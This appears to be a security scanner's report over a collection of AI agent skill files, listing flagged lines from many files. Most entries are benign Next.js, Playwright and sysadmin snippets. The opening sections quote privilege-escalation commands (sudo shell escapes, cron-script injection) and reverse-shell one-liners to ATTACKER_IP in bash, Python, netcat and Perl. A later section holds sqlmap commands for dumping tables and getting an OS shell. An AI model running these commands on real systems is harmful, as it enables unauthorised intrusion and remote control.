#### Enumerate Sudo Privileges - Dangerous shell operationline 213
sudo -l - Dangerous shell operationline 216
#### GTFOBins Sudo Exploitation - Network accessline 216
#### GTFOBins Sudo Exploitation Reference https://gtfobins.github.io for exploitation commands: - Network accessline 217
Reference https://gtfobins.github.io for exploitation commands: - Dangerous shell operationline 221
sudo vim -c ':!/bin/bash' - Dangerous shell operationline 224
sudo find . -exec /bin/sh \; -quit - Dangerous shell operationline 227
sudo awk 'BEGIN {system("/bin/bash")}' - Dangerous shell operationline 230
sudo python -c 'import os; os.system("/bin/bash")' - Dangerous shell operationline 233
sudo less /etc/passwd - Dangerous shell operationline 259
sudo LD_PRELOAD=/tmp/shell.so find - Network accessline 352
# Identify writable cron script from /etc/crontab ls -la /opt/backup.sh # Check permissions echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh - Dangerous shell operationline 354
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh - Network accessline 354
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh - Network accessline 356
# If cron references non-existent script in writable PATH echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh - Dangerous shell operationline 357
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh - Network accessline 357
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh - Dangerous shell operationline 400
| Sudo rights | `sudo -l` | - Network accessline 409
# Bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Dangerous shell operationline 410
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Network accessline 410
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Network accessline 412
# Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' - Network accessline 413
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' - Network accessline 415
# Netcat nc -e /bin/bash ATTACKER_IP 4444 - Dangerous shell operationline 416
nc -e /bin/bash ATTACKER_IP 4444 - Network accessline 416
nc -e /bin/bash ATTACKER_IP 4444 - Dangerous shell operationline 419
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");' - Network accessline 422
### Key Resources - GTFOBins: https://gtfobins.github.io - Network accessline 423
- GTFOBins: https://gtfobins.github.io - Network accessline 424
- LinPEAS: https://github.com/carlospolop/PEASS-ng - Network accessline 425
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester - Dangerous shell operationline 439
- Hardened systems may have restricted sudo configurations - Dangerous shell operationline 449
### Example 1: Sudo to Root via find - Dangerous shell operationline 451
**Scenario**: User has sudo rights for find command - Dangerous shell operationline 454
$ sudo -l - Dangerous shell operationline 458
$ sudo find . -exec /bin/bash \; -quit
skills/linux-shell-scripting/SKILL.md
- Dangerous shell operationline 69
rm -r "$backup_dir/$oldest_backup" - Network accessline 288
#!/bin/bash websites=("https://google.com" "https://github.com") - Network accessline 289
websites=("https://google.com" "https://github.com") - Network accessline 294
for website in "${websites[@]}"; do if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then - Network accessline 295
if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then - Dangerous shell operationline 329
sudo apt-get install -y "$package" - Dangerous shell operationline 356
sudo systemctl restart "$service_name" - Dangerous shell operationline 360
sudo systemctl start "$service_name" - Dangerous shell operationline 387
find "$directory" -type f -mtime +"$days" -exec rm -v {} \; - Dangerous shell operationline 503
- Many scripts require root/sudo privileges
skills/localization-toolkit/scripts/i18n_audit.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/log-error-digest/scripts/analyze_logs.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/metasploit-framework/SKILL.md
- Network accessline 19
# Metasploit comes pre-installed on Kali Linux # For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Network accessline 20
# For other systems: curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall - Network accessline 21
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall - Dangerous shell operationline 26
sudo systemctl start postgresql - Dangerous shell operationline 27
sudo msfdb init - Dangerous shell operationline 475
| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |
skills/network-101/SKILL.md
- Dangerous shell operationline 47
sudo apt update && sudo apt install apache2 - Dangerous shell operationline 50
sudo systemctl start apache2 - Dangerous shell operationline 51
sudo systemctl enable apache2 - Dangerous shell operationline 54
echo "<html><body><h1>Test Page</h1></body></html>" | sudo tee /var/www/html/index.html - Network accessline 56
# Verify service curl http://localhost - Network accessline 57
curl http://localhost - Dangerous shell operationline 64
sudo ufw allow 80/tcp - Dangerous shell operationline 78
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ - Dangerous shell operationline 83
sudo a2enmod ssl - Dangerous shell operationline 84
sudo systemctl restart apache2 - Dangerous shell operationline 91
sudo nano /etc/apache2/sites-available/default-ssl.conf - Dangerous shell operationline 94
sudo a2ensite default-ssl - Dangerous shell operationline 95
sudo systemctl reload apache2 - Network accessline 107
# Check certificate curl -kv https://192.168.1.1 - Network accessline 108
curl -kv https://192.168.1.1 - Dangerous shell operationline 119
sudo apt install snmpd snmp - Dangerous shell operationline 122
sudo nano /etc/snmp/snmpd.conf - Dangerous shell operationline 129
sudo systemctl restart snmpd - Dangerous shell operationline 170
sudo apt install samba - Dangerous shell operationline 173
sudo mkdir -p /srv/samba/share - Dangerous shell operationline 174
sudo chmod 777 /srv/samba/share - Dangerous shell operationline 177
sudo nano /etc/samba/smb.conf - Dangerous shell operationline 187
sudo systemctl restart smbd - Dangerous shell operationline 217
sudo tail -f /var/log/apache2/access.log - Dangerous shell operationline 220
sudo tail -f /var/log/apache2/error.log - Network accessline 251
# Check HTTP curl -I http://target - Network accessline 252
curl -I http://target - Network accessline 254
# Check HTTPS curl -kI https://target - Network accessline 255
curl -kI https://target - Dangerous shell operationline 289
sudo apt install apache2 - Dangerous shell operationline 290
sudo systemctl start apache2 - Dangerous shell operationline 293
cat << 'EOF' | sudo tee /var/www/html/login.html - Dangerous shell operationline 306
sudo ufw allow 80/tcp - Dangerous shell operationline 313
sudo apt install snmpd - Dangerous shell operationline 314
echo "rocommunity public" | sudo tee -a /etc/snmp/snmpd.conf - Dangerous shell operationline 315
sudo systemctl restart snmpd - Dangerous shell operationline 325
sudo apt install samba - Dangerous shell operationline 326
sudo mkdir /srv/samba/anonymous - Dangerous shell operationline 327
sudo chmod 777 /srv/samba/anonymous
skills/nextjs-developer/SKILL.md
skills/nextjs-developer/references/app-router.md
skills/nextjs-developer/references/data-fetching.md
- Network accessline 8
// app/page.tsx async function getData() { const res = await fetch("https://api.example.com/posts", { - Network accessline 9
async function getData() { const res = await fetch("https://api.example.com/posts", { cache: "force-cache", // Default: cache forever (SSG) - Network accessline 10
const res = await fetch("https://api.example.com/posts", { - Network accessline 30
// 1. Force cache (Static Site Generation) fetch("https://api.example.com/data", { - Network accessline 31
fetch("https://api.example.com/data", { - Network accessline 35
// 2. No cache (Server-Side Rendering) fetch("https://api.example.com/data", { - Network accessline 36
fetch("https://api.example.com/data", { - Network accessline 40
// 3. Revalidate (Incremental Static Regeneration) fetch("https://api.example.com/data", { - Network accessline 41
fetch("https://api.example.com/data", { - Network accessline 45
// 4. Revalidate with tags fetch("https://api.example.com/data", { - Network accessline 46
fetch("https://api.example.com/data", { - Network accessline 56
// Revalidate every 60 seconds async function getPosts() { const res = await fetch("https://api.example.com/posts", { - Network accessline 57
async function getPosts() { const res = await fetch("https://api.example.com/posts", { next: { revalidate: 60 }, - Network accessline 58
const res = await fetch("https://api.example.com/posts", { - Network accessline 110
// Fetch with tags async function getPosts() { const res = await fetch("https://api.example.com/posts", { - Network accessline 111
async function getPosts() { const res = await fetch("https://api.example.com/posts", { next: { tags: ["posts"] }, - Network accessline 112
const res = await fetch("https://api.example.com/posts", { - Network accessline 118
async function getAuthors() { const res = await fetch("https://api.example.com/authors", { - Network accessline 119
const res = await fetch("https://api.example.com/authors", { - Network accessline 162
async function getUser() { return fetch("https://api.example.com/user") - Network accessline 163
return fetch("https://api.example.com/user") - Network accessline 166
async function getPosts() { return fetch("https://api.example.com/posts") - Network accessline 167
return fetch("https://api.example.com/posts") - Network accessline 170
async function getComments() { return fetch("https://api.example.com/comments") - Network accessline 171
return fetch("https://api.example.com/comments") - Network accessline 192
export default async function Page({ params }: { params: { id: string } }) { // First fetch const user = await fetch(`https://api.example.com/users/${params.id}`).then((res) => res.json()) - Network accessline 194
const user = await fetch(`https://api.example.com/users/${params.id}`).then((res) => res.json()) - Network accessline 196
// Second fetch depends on first const posts = await fetch(`https://api.example.com/users/${user.id}/posts`).then((res) => - Network accessline 197
const posts = await fetch(`https://api.example.com/users/${user.id}/posts`).then((res) => - Network accessline 216
async function Posts() { const posts = await fetch("https://api.example.com/posts", { - Network accessline 217
const posts = await fetch("https://api.example.com/posts", { - Network accessline 248
export const getUser = cache(async (id: string) => { const res = await fetch(`https://api.example.com/users/${id}`) - Network accessline 249
const res = await fetch(`https://api.example.com/users/${id}`) - Network accessline 315
async function getData() { const res = await fetch("https://api.example.com/data") - Network accessline 316
const res = await fetch("https://api.example.com/data") - Network accessline 358
// app/posts/page.tsx export default async function PostsPage() { const posts = await fetch("https://api.example.com/posts").then((res) => res.json()) - Network accessline 360
const posts = await fetch("https://api.example.com/posts").then((res) => res.json()) - Network accessline 374
const fetcher = (url: string) => fetch(url).then((res) => res.json()) - Network accessline 404
export const getUser = cache(async (id: string) => { return fetch(`https://api.example.com/users/${id}`).then((res) => res.json()) - Network accessline 405
return fetch(`https://api.example.com/users/${id}`).then((res) => res.json()) - Network accessline 436
export async function generateStaticParams() { const posts = await fetch("https://api.example.com/posts").then((res) => res.json()) - Network accessline 437
const posts = await fetch("https://api.example.com/posts").then((res) => res.json()) - Network accessline 444
export default async function Post({ params }: { params: { slug: string } }) { const post = await fetch(`https://api.example.com/posts/${params.slug}`).then((res) => res.json()) - Network accessline 445
const post = await fetch(`https://api.example.com/posts/${params.slug}`).then((res) => res.json())
skills/nextjs-developer/references/deployment.md
- Network accessline 27
"env": { "DATABASE_URL": "@database-url", "NEXT_PUBLIC_API_URL": "https://api.example.com" - Network accessline 28
"DATABASE_URL": "@database-url", "NEXT_PUBLIC_API_URL": "https://api.example.com" }, - Network accessline 29
"NEXT_PUBLIC_API_URL": "https://api.example.com" - Network accessline 48
{ "source": "/api/:path*", "destination": "https://api.example.com/:path*" - Network accessline 49
"source": "/api/:path*", "destination": "https://api.example.com/:path*" } - Network accessline 50
"destination": "https://api.example.com/:path*" - Network accessline 63
# .env.production (committed, public vars only) NEXT_PUBLIC_API_URL="https://api.example.com" - Network accessline 64
NEXT_PUBLIC_API_URL="https://api.example.com" - Network accessline 177
environment: - DATABASE_URL=postgresql://postgres:postgres@db:5432/myapp - NEXTAUTH_URL=http://localhost:3000 - Network accessline 178
[Credential-related source omitted] - Network accessline 179
- NEXTAUTH_URL=http://localhost:3000 - Network accessline 333
// next.config.js const nextConfig = { assetPrefix: process.env.NODE_ENV === "production" ? "https://cdn.example.com" : "", - Network accessline 334
const nextConfig = { assetPrefix: process.env.NODE_ENV === "production" ? "https://cdn.example.com" : "", } - Network accessline 335
assetPrefix: process.env.NODE_ENV === "production" ? "https://cdn.example.com" : "", - Access to secretsline 386
[Credential-related source omitted]
skills/nextjs-developer/references/server-components.md
- Network accessline 144
// app/dashboard/page.tsx async function getUser() { return fetch("https://api.example.com/user") - Network accessline 145
async function getUser() { return fetch("https://api.example.com/user") } - Network accessline 146
return fetch("https://api.example.com/user") - Network accessline 149
async function getPosts() { return fetch("https://api.example.com/posts") - Network accessline 150
return fetch("https://api.example.com/posts") - Network accessline 169
// app/artist/[id]/page.tsx async function getArtist(id: string) { return fetch(`https://api.example.com/artists/${id}`) - Network accessline 170
async function getArtist(id: string) { return fetch(`https://api.example.com/artists/${id}`) } - Network accessline 171
return fetch(`https://api.example.com/artists/${id}`) - Network accessline 174
async function getAlbums(artistId: string) { return fetch(`https://api.example.com/artists/${artistId}/albums`) - Network accessline 175
return fetch(`https://api.example.com/artists/${artistId}/albums`)
skills/pentest-checklist/SKILL.md
- Network accessline 111
# Web vulnerability scan nikto -h http://TARGET - Network accessline 112
nikto -h http://TARGET - Network accessline 127
**Cloud Provider Policies:** - AWS: https://aws.amazon.com/security/penetration-testing/ - Network accessline 128
- AWS: https://aws.amazon.com/security/penetration-testing/ - Network accessline 129
- Azure: https://docs.microsoft.com/security/pentest - Network accessline 130
- GCP: https://cloud.google.com/security/overview - Dangerous shell operationline 319
sudo systemctl restart rsyslog - Dangerous shell operationline 320
sudo systemctl restart auditd
skills/pentest-commands/SKILL.md
- Network accessline 239
# Basic scan nikto -h http://192.168.1.1 - Network accessline 240
nikto -h http://192.168.1.1 - Network accessline 242
# Comprehensive scan nikto -h http://192.168.1.1 -C all - Network accessline 243
nikto -h http://192.168.1.1 -C all - Network accessline 245
# Output to file nikto -h http://192.168.1.1 -output report.html - Network accessline 246
nikto -h http://192.168.1.1 -output report.html - Network accessline 248
# Plugin-based scans nikto -h http://192.168.1.1 -Plugins robots - Network accessline 249
nikto -h http://192.168.1.1 -Plugins robots - Network accessline 250
nikto -h http://192.168.1.1 -Plugins shellshock - Network accessline 251
nikto -h http://192.168.1.1 -Plugins heartbleed - Network accessline 252
nikto -h http://192.168.1.1 -Plugins ssl - Network accessline 254
# Export to Metasploit nikto -h http://192.168.1.1 -Format msf+ - Network accessline 255
nikto -h http://192.168.1.1 -Format msf+ - Network accessline 257
# Specific tuning nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only - Network accessline 258
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only - Network accessline 264
# Basic injection test sqlmap -u "http://192.168.1.1/page?id=1" - Network accessline 265
sqlmap -u "http://192.168.1.1/page?id=1" - Network accessline 267
# Enumerate databases sqlmap -u "http://192.168.1.1/page?id=1" --dbs - Network accessline 268
sqlmap -u "http://192.168.1.1/page?id=1" --dbs - Network accessline 270
# Enumerate tables sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables - Network accessline 271
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables - Network accessline 273
# Dump table sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump - Network accessline 274
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump - Network accessline 276
# OS shell sqlmap -u "http://192.168.1.1/page?id=1" --os-shell - Network accessline 277
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell - Network accessline 279
# POST request sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" - Network accessline 280
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test" - Network accessline 282
# Cookie injection sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" - Network accessline 283
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*" - Network accessline 285
# Bypass WAF sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment - Network accessline 286
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment - Network accessline 288
# Risk and level sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 - Network accessline 289
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5 - Network accessline 428
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
skills/pipeline-blueprint/SKILL.md
- Network accessline 344
with: node-version: 20 registry-url: https://registry.npmjs.org - Network accessline 345
node-version: 20 registry-url: https://registry.npmjs.org cache: npm - Network accessline 346
registry-url: https://registry.npmjs.org - Access to secretsline 353
[Credential-related source omitted] - Access to secretsline 383
[Credential-related source omitted]
skills/playwright/ci/ci-github-actions.md
- Access to secretsline 367
[Credential-related source omitted]
skills/playwright/ci/ci-gitlab.md
skills/playwright/ci/docker-and-containers.md
- Network accessline 36
docker run --rm -v $(pwd):/app -w /app -e CI=true -e BASE_URL=http://host.docker.internal:3000 - Network accessline 38
-w /app \ -e CI=true \ -e BASE_URL=http://host.docker.internal:3000 \ - Network accessline 39
-e CI=true \ -e BASE_URL=http://host.docker.internal:3000 \ mcr.microsoft.com/playwright:v1.52.0-noble \ - Network accessline 40
-e BASE_URL=http://host.docker.internal:3000 \ - Network accessline 155
environment: - CI=true - BASE_URL=http://app:3000 - Network accessline 156
- CI=true - BASE_URL=http://app:3000 depends_on: - Network accessline 157
- BASE_URL=http://app:3000 - Dangerous shell operationline 203
docker rm e2e-run - Network accessline 361
export default defineConfig({ use: { baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 362
use: { baseURL: process.env.BASE_URL || "http://localhost:3000", }, - Network accessline 363
baseURL: process.env.BASE_URL || "http://localhost:3000", - Network accessline 369
webServer: { command: "npm run dev", url: "http://localhost:3000", - Network accessline 370
command: "npm run dev", url: "http://localhost:3000", reuseExistingServer: true, - Network accessline 371
url: "http://localhost:3000", - Network accessline 380
e2e: environment: - BASE_URL=http://app:3000 # "app" is the service name - Network accessline 382
- BASE_URL=http://app:3000 # "app" is the service name
skills/playwright/ci/global-setup-teardown.md
- Network accessline 84
async function globalSetup(config: FullConfig) { const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" - Network accessline 85
const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" - Network accessline 91
for (let i = 0; i < maxRetries; i++) { try { const response = await fetch(`${baseURL}/api/health`) - Network accessline 92
try { const response = await fetch(`${baseURL}/api/health`) if (response.ok) { - Network accessline 93
const response = await fetch(`${baseURL}/api/health`) - Access to secretsline 113
[Credential-related source omitted] - Network accessline 122
async function globalSetup(config: FullConfig) { const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" - Network accessline 123
const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" - Network accessline 125
// Authenticate via API (no browser needed) const response = await fetch(`${baseURL}/api/auth/login`, { - Network accessline 126
const response = await fetch(`${baseURL}/api/auth/login`, { - Access to secretsline 150
[Credential-related source omitted] - Network accessline 219
async function globalSetup(config: FullConfig) { const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" - Network accessline 220
const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" - Network accessline 222
// Create test data via API const res = await fetch(`${baseURL}/api/test/seed`, { method: "POST" }) - Network accessline 223
const res = await fetch(`${baseURL}/api/test/seed`, { method: "POST" }) - Network accessline 332
const server = await createServer() const port = await server.listen(0) process.env.MOCK_API_URL = `http://localhost:${port}` - Network accessline 334
process.env.MOCK_API_URL = `http://localhost:${port}` - Network accessline 336
// Configure feature flags for test environment const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" await fetch(`${baseURL}/api/admin/feature-flags`, { - Network accessline 337
const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" await fetch(`${baseURL}/api/admin/feature-flags`, { method: "PUT", - Network accessline 338
await fetch(`${baseURL}/api/admin/feature-flags`, { - Access to secretsline 342
[Credential-related source omitted] - Network accessline 362
async function globalTeardown(config: FullConfig) { // Reset feature flags const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" - Network accessline 363
// Reset feature flags const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" await fetch(`${baseURL}/api/admin/feature-flags/reset`, { - Network accessline 364
const baseURL = config.projects[0]?.use?.baseURL || "http://localhost:3000" await fetch(`${baseURL}/api/admin/feature-flags/reset`, { method: "POST", - Network accessline 365
await fetch(`${baseURL}/api/admin/feature-flags/reset`, { - Access to secretsline 367
[Credential-related source omitted]
skills/playwright/ci/parallel-and-sharding.md
- Network accessline 175
async ({}, use, workerInfo) => { // Each worker gets a unique user to avoid test interference const response = await fetch(`${process.env.API_URL}/auth/token`, { - Network accessline 176
// Each worker gets a unique user to avoid test interference const response = await fetch(`${process.env.API_URL}/auth/token`, { method: "POST", - Network accessline 177
const response = await fetch(`${process.env.API_URL}/auth/token`, {
skills/playwright/ci/projects-and-dependencies.md
- Network accessline 288
const envConfig: Record<string, { baseURL: string; retries: number }> = { local: { baseURL: "http://localhost:3000", retries: 0 }, - Network accessline 289
local: { baseURL: "http://localhost:3000", retries: 0 }, - Network accessline 290
staging: { baseURL: "https://staging.example.com", retries: 2 }, - Network accessline 291
production: { baseURL: "https://www.example.com", retries: 2 }, - Network accessline 359
testMatch: "**/*.spec.ts", use: { baseURL: "https://api.example.com", - Network accessline 360
use: { baseURL: "https://api.example.com", }, - Network accessline 361
baseURL: "https://api.example.com", - Access to secretsline 429
[Credential-related source omitted]
skills/playwright/ci/reporting-and-artifacts.md
- Network accessline 154
const webhookUrl = process.env.SLACK_WEBHOOK_URL if (webhookUrl) { await fetch(webhookUrl, { - Network accessline 155
if (webhookUrl) { await fetch(webhookUrl, { method: "POST", - Network accessline 156
await fetch(webhookUrl, { - Network accessline 217
# Online trace viewer (upload trace.zip) # https://trace.playwright.dev - Network accessline 218
# https://trace.playwright.dev
skills/playwright/core/angular.md
- Network accessline 21
# Generate tests with codegen npx playwright codegen http://localhost:4200 - Network accessline 22
npx playwright codegen http://localhost:4200 - Network accessline 43
use: { baseURL: "http://localhost:4200", - Network accessline 44
baseURL: "http://localhost:4200", - Network accessline 66
? "npx ng build && npx http-server dist/your-app/browser -p 4200 -s" : "npx ng serve", url: "http://localhost:4200", - Network accessline 67
: "npx ng serve", url: "http://localhost:4200", reuseExistingServer: !process.env.CI, - Network accessline 68
url: "http://localhost:4200", - Network accessline 89
use: { baseURL: "http://localhost:4200", - Network accessline 90
baseURL: "http://localhost:4200", - Network accessline 112
? "npx ng build && npx http-server dist/your-app/browser -p 4200 -s" : "npx ng serve", url: "http://localhost:4200", - Network accessline 113
: "npx ng serve", url: "http://localhost:4200", reuseExistingServer: !process.env.CI, - Network accessline 114
url: "http://localhost:4200", - Network accessline 163
? 'npx ng build --configuration=production && npx http-server dist/your-app/browser -p 4200 -s' : 'npx ng serve --configuration=development', url: 'http://localhost:4200', - Network accessline 164
: 'npx ng serve --configuration=development', url: 'http://localhost:4200', reuseExistingServer: !process.env.CI, - Network accessline 165
url: 'http://localhost:4200', - Network accessline 167
timeout: 120_000, env: { NG_APP_API_URL: 'http://localhost:4200/api', - Network accessline 168
env: { NG_APP_API_URL: 'http://localhost:4200/api', }, - Network accessline 169
NG_APP_API_URL: 'http://localhost:4200/api', - Network accessline 1055
? 'npx ng build --ssr && node dist/your-app/server/server.mjs' : 'npx ng serve --ssr', url: 'http://localhost:4200', - Network accessline 1056
: 'npx ng serve --ssr', url: 'http://localhost:4200', reuseExistingServer: !process.env.CI, - Network accessline 1057
url: 'http://localhost:4200',
skills/playwright/core/api-testing.md
- Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 150
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Network accessline 277
testDir: "./tests/api", use: { baseURL: "https://api.example.com", - Network accessline 278
use: { baseURL: "https://api.example.com", extraHTTPHeaders: { - Network accessline 279
baseURL: "https://api.example.com", - Network accessline 287
testDir: "./tests/e2e", use: { baseURL: "https://app.example.com", - Network accessline 288
use: { baseURL: "https://app.example.com", browserName: "chromium", - Network accessline 289
baseURL: "https://app.example.com", - Network accessline 315
// Create a fresh context with auth headers const context = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 316
const context = await playwright.request.newContext({ baseURL: "https://api.example.com", extraHTTPHeaders: { - Network accessline 317
baseURL: "https://api.example.com", - Access to secretsline 319
[Credential-related source omitted] - Network accessline 328
// Login via API to get a token, then create authenticated context const loginContext = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 329
const loginContext = await playwright.request.newContext({ baseURL: "https://api.example.com", }) - Network accessline 330
baseURL: "https://api.example.com", - Network accessline 342
const context = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 343
baseURL: "https://api.example.com", - Network accessline 387
authenticatedRequest: async ({ playwright }, use) => { const context = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 388
const context = await playwright.request.newContext({ baseURL: "https://api.example.com", extraHTTPHeaders: { - Network accessline 389
baseURL: "https://api.example.com", - Access to secretsline 391
[Credential-related source omitted] - Network accessline 399
adminRequest: async ({ playwright }, use) => { const loginContext = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 400
const loginContext = await playwright.request.newContext({ baseURL: "https://api.example.com", }) - Network accessline 401
baseURL: "https://api.example.com", - Network accessline 413
const context = await playwright.request.newContext({ baseURL: "https://api.example.com", - Network accessline 414
baseURL: "https://api.example.com", - Access to secretsline 1521
[Credential-related source omitted] - Network accessline 1537
webServer: { command: "npm run start:api", url: "http://localhost:3000/api/health", - Network accessline 1538
command: "npm run start:api", url: "http://localhost:3000/api/health", reuseExistingServer: !process.env.CI, - Network accessline 1539
url: "http://localhost:3000/api/health", - Network accessline 1541
}, use: { baseURL: "http://localhost:3000", - Network accessline 1542
use: { baseURL: "http://localhost:3000", }, - Network accessline 1543
baseURL: "http://localhost:3000", - Access to secretsline 1568
[Credential-related source omitted] - Access to secretsline 1573
[Credential-related source omitted] - Access to secretsline 1580
[Credential-related source omitted] - Access to secretsline 1590
[Credential-related source omitted]
skills/playwright/core/auth-flows.md
- Network accessline 208
await page.route("**/api/auth/send-verification", async (route) => { // Let the request go through to the server const response = await route.fetch() - Network accessline 209
// Let the request go through to the server const response = await route.fetch() const body = await response.json() - Network accessline 210
const response = await route.fetch() - Network accessline 298
let verificationToken = "" await page.route("**/api/auth/send-verification", async (route) => { const response = await route.fetch() - Network accessline 299
await page.route("**/api/auth/send-verification", async (route) => { const response = await route.fetch() const body = await response.json() - Network accessline 300
const response = await route.fetch() - Network accessline 339
// Intercept the password reset API to capture the reset token await page.route("**/api/auth/forgot-password", async (route) => { const response = await route.fetch() - Network accessline 340
await page.route("**/api/auth/forgot-password", async (route) => { const response = await route.fetch() const body = await response.json() - Network accessline 341
const response = await route.fetch() - Network accessline 407
await page.route("**/api/auth/forgot-password", async (route) => { const response = await route.fetch() - Network accessline 408
const response = await route.fetch() - Network accessline 453
// Instead of actually going to Google, redirect back to our callback URL // with a mock authorization code const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") - Network accessline 454
// with a mock authorization code const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") callbackUrl.searchParams.set("code", "mock-auth-code-12345") - Network accessline 455
const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") - Network accessline 479
email: "googleuser@gmail.com", name: "Google User", avatar: "https://example.com/avatar.jpg", - Network accessline 480
name: "Google User", avatar: "https://example.com/avatar.jpg", }, - Network accessline 481
avatar: "https://example.com/avatar.jpg", - Network accessline 499
// Simulate OAuth provider returning an error await page.route("**/accounts.google.com/**", async (route) => { const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") - Network accessline 500
await page.route("**/accounts.google.com/**", async (route) => { const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") callbackUrl.searchParams.set("error", "access_denied") - Network accessline 501
const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") - Network accessline 524
test("logs in via mocked Google OAuth callback", async ({ page }) => { await page.route("**/accounts.google.com/**", async (route) => { const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") - Network accessline 525
await page.route("**/accounts.google.com/**", async (route) => { const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") callbackUrl.searchParams.set("code", "mock-auth-code-12345") - Network accessline 526
const callbackUrl = new URL("/auth/callback/google", "http://localhost:3000") - Network accessline 1039
- [Playwright Authentication Docs](https://playwright.dev/docs/auth)
skills/playwright/core/authentication.md
- Network accessline 51
await page.goto("http://localhost:3000/login") - Network accessline 69
export default defineConfig({ use: { baseURL: "http://localhost:3000", - Network accessline 70
use: { baseURL: "http://localhost:3000", storageState: ".auth/user.json", - Network accessline 71
baseURL: "http://localhost:3000", - Network accessline 99
await page.goto("http://localhost:3000/login") - Network accessline 116
module.exports = defineConfig({ use: { baseURL: "http://localhost:3000", - Network accessline 117
use: { baseURL: "http://localhost:3000", storageState: ".auth/user.json", - Network accessline 118
baseURL: "http://localhost:3000", - Network accessline 161
globalSetup: require.resolve("./global-setup"), use: { baseURL: "http://localhost:3000", - Network accessline 162
use: { baseURL: "http://localhost:3000", storageState: ".auth/user.json", - Network accessline 163
baseURL: "http://localhost:3000", - Network accessline 199
globalSetup: require.resolve("./global-setup"), use: { baseURL: "http://localhost:3000", - Network accessline 200
use: { baseURL: "http://localhost:3000", storageState: ".auth/user.json", - Network accessline 201
baseURL: "http://localhost:3000", - Network accessline 540
test("login via mocked OAuth flow", async ({ page }) => { // Intercept the redirect to the OAuth provider await page.route("https://accounts.google.com/**", async (route) => { - Network accessline 541
// Intercept the redirect to the OAuth provider await page.route("https://accounts.google.com/**", async (route) => { // Redirect back to your app's callback with a fake auth code - Network accessline 542
